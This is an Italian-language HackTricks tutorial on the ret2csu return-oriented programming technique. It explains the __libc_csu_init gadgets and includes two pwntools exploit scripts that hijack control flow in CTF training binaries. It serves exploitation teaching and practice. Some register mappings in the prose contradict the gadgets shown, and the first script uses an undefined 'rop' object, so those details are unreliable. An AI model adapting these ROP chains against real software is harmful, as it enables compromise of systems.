Ret2csu

Impara l'hacking AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)!

Altri modi per supportare HackTricks:

ret2csu è una tecnica di hacking utilizzata quando si cerca di prendere il controllo di un programma ma non si riescono a trovare i gadget soliti per manipolare il comportamento del programma.

Quando un programma utilizza determinate librerie (come libc), ha alcune funzioni integrate per gestire come diverse parti del programma comunicano tra loro. Tra queste funzioni ci sono alcune gemme nascoste che possono agire come i nostri gadget mancanti, in particolare una chiamata __libc_csu_init.

I Gadget Magici in __libc_csu_init

In __libc_csu_init, ci sono due sequenze di istruzioni (gadget) da evidenziare:

  1. La prima sequenza ci permette di impostare valori in diversi registri (rbx, rbp, r12, r13, r14, r15). Questi sono come slot in cui possiamo memorizzare numeri o indirizzi che vogliamo utilizzare successivamente.

pop rbx;
pop rbp;
pop r12;
pop r13;
pop r14;
pop r15;
ret;

Questo gadget ci permette di controllare questi registri facendo uscire i valori dallo stack e inserendoli al loro interno.

  1. La seconda sequenza utilizza i valori che abbiamo impostato per fare un paio di cose:

  • Spostare valori specifici in altri registri, preparandoli per essere utilizzati come parametri nelle funzioni.

  • Effettuare una chiamata a una posizione determinata sommando i valori in r15 e rbx, e moltiplicando rbx per 8.

mov rdx, r15;
mov rsi, r14;
mov edi, r13d;
call qword [r12 + rbx*8];
  1. Forse non conosci nessun indirizzo da scrivere lì e hai bisogno di un'istruzione ret. Nota che il secondo gadget finirà anche con un ret, ma dovrai soddisfare alcune condizioni per raggiungerlo:

mov rdx, r15;
mov rsi, r14;
mov edi, r13d;
call qword [r12 + rbx*8];
add rbx, 0x1;
cmp rbp, rbx
jnz <func>
...
ret

Le condizioni saranno:

  • [r12 + rbx*8] deve puntare a un indirizzo che memorizza una funzione invocabile (se non si ha idea e non si ha pie, è possibile utilizzare la funzione _init):

  • Se _init si trova a 0x400560, utilizzare GEF per cercare un puntatore in memoria ad esso e fare in modo che [r12 + rbx*8] sia l'indirizzo con il puntatore a _init:

# Example from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
gef➤  search-pattern 0x400560
[+] Searching '\x60\x05\x40' in memory
[+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x400000-0x401000), permission=r-x
0x400e38 - 0x400e44     "\x60\x05\x40[...]"
[+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x600000-0x601000), permission=r--
0x600e38 - 0x600e44     "\x60\x05\x40[...]"
  • rbp e rbx devono avere lo stesso valore per evitare il salto

  • Ci sono alcuni pop omessi che devi tenere in considerazione

RDI e RSI

Un altro modo per controllare rdi e rsi dal gadget ret2csu è accedendo a offset specifici:

Controlla questa pagina per ulteriori informazioni:

pageBROP - Blind Return Oriented Programming

Esempio

Utilizzando la chiamata

Immagina di voler fare una syscall o chiamare una funzione come write() ma hai bisogno di valori specifici nei registri rdx e rsi come parametri. Normalmente, cercheresti gadget che impostano direttamente questi registri, ma non ne trovi.

Ecco dove entra in gioco ret2csu:

  1. Imposta i Registri: Usa il primo gadget magico per estrarre i valori dallo stack e inserirli in rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx) e r15.

  2. Usa il Secondo Gadget: Con questi registri impostati, utilizzi il secondo gadget. Questo ti permette di spostare i valori scelti in rdx e rsi (da r14 e r13, rispettivamente), preparando i parametri per una chiamata di funzione. Inoltre, controllando r15 e rbx, puoi far sì che il programma chiami una funzione situata all'indirizzo che calcoli e inserisci in [r15 + rbx*8].

Hai un esempio che utilizza questa tecnica e la spiega qui, e questo è l'exploit finale che è stato utilizzato:

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

POP_CHAIN = 0x00401224 # pop r12, r13, r14, r15, ret
REG_CALL = 0x00401208  # rdx, rsi, edi, call [r15 + rbx*8]
RW_LOC = 0x00404028

rop.raw('A' * 40)
rop.gets(RW_LOC)
rop.raw(POP_CHAIN)
rop.raw(0)                      # r12
rop.raw(0)                      # r13
rop.raw(0xdeadbeefcafed00d)     # r14 - popped into RDX!
rop.raw(RW_LOC)                 # r15 - holds location of called function!
rop.raw(REG_CALL)               # all the movs, plus the call

p.sendlineafter('me\n', rop.chain())
p.sendline(p64(elf.sym['win']))            # send to gets() so it's written
print(p.recvline())                        # should receive "Awesome work!"

Si noti che l'exploit precedente non è destinato a fare un RCE, ma è destinato solo a chiamare una funzione chiamata win (prendendo l'indirizzo di win da stdin chiamando gets nella catena ROP e memorizzandolo in r15) con un terzo argomento con il valore 0xdeadbeefcafed00d.

Bypassare la chiamata e raggiungere ret

L'exploit seguente è stato estratto da questa pagina dove viene utilizzato il ret2csu ma anziché utilizzare la chiamata, sta bypassando i confronti e raggiungendo il ret dopo la chiamata:

# Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
# This exploit is based off of: https://www.rootnetsec.com/ropemporium-ret2csu/

from pwn import *

# Establish the target process
target = process('./ret2csu')
#gdb.attach(target, gdbscript = 'b *    0x4007b0')

# Our two __libc_csu_init rop gadgets
csuGadget0 = p64(0x40089a)
csuGadget1 = p64(0x400880)

# Address of ret2win and _init pointer
ret2win = p64(0x4007b1)
initPtr = p64(0x600e38)

# Padding from start of input to saved return address
payload = "0"*0x28

# Our first gadget, and the values to be popped from the stack

# Also a value of 0xf means it is a filler value
payload += csuGadget0
payload += p64(0x0) # RBX
payload += p64(0x1) # RBP
payload += initPtr # R12, will be called in `CALL qword ptr [R12 + RBX*0x8]`
payload += p64(0xf) # R13
payload += p64(0xf) # R14
payload += p64(0xdeadcafebabebeef) # R15 > soon to be RDX

# Our second gadget, and the corresponding stack values
payload += csuGadget1
payload += p64(0xf) # qword value for the ADD RSP, 0x8 adjustment
payload += p64(0xf) # RBX
payload += p64(0xf) # RBP
payload += p64(0xf) # R12
payload += p64(0xf) # R13
payload += p64(0xf) # R14
payload += p64(0xf) # R15

# Finally the address of ret2win
payload += ret2win

# Send the payload
target.sendline(payload)
target.interactive()

Perché non utilizzare direttamente libc?

Di solito questi casi sono vulnerabili anche a ret2plt + ret2lib, ma a volte è necessario controllare più parametri di quelli facilmente controllabili con i gadget che si trovano direttamente in libc. Ad esempio, la funzione write() richiede tre parametri e potrebbe non essere possibile trovare gadget per impostare tutti questi direttamente.

Last updated